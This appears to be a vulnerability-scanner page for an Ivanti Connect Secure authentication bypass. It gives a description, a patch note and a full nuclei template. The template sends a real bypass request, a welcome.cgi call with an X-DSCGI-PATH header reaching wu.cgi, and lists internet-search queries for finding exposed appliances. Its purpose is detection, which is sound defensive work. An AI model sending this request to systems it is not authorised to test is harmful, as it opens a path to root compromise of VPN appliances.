Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header

Exploited in the wild. Listed by CISA on 2026-10-13; known to be used by ransomware.

criticalseverity

10CVSS score

88.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.

Impact

An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.

Fix

Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.

How to confirm it

Send: GET /
Positive when: contains_any(body, "welcome.cgi", "Ivanti Connect Secure", "Pulse Secure")
Send: GET {{welcome_path}}
Positive when: contains_all(body, "upload file", "Browse buttons") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-104935 -u <target>

The full check

id: CVE-2026-104935

info:
  name: Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header
  author: volexity,DhiyaneshDk
  severity: critical
  description: |
    Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.
  impact: |
    An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.
  remediation: |
    Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.
  reference:
    - https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/
    - https://forums.ivanti.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-104935
    epss-score: 0.88936
    epss-percentile: 0.9978
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: ivanti
    product: connect_secure
    shodan-query: html:"/dana-na/auth/"
    fofa-query: body="/dana-na/auth/"
  tags: cve,cve2026,ivanti,ics,vpn,auth-bypass,vkev,kev

flow: |
  if (http(1)) {
    if (template["welcome_path"] == "") {
      template["welcome_path"] = "/dana-na/auth/url_default/welcome.cgi";
    }
    http(2);
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "welcome.cgi", "Ivanti Connect Secure", "Pulse Secure")'
        internal: true

    extractors:
      - type: regex
        name: welcome_path
        internal: true
        group: 1
        part: all
        regex:
          - '(/dana-na/auth/url_[^/\s"''<>]+/welcome\.cgi)'

  - raw:
      - |
        GET {{welcome_path}} HTTP/1.1
        Host: {{Hostname}}
        X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "upload file", "Browse buttons")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from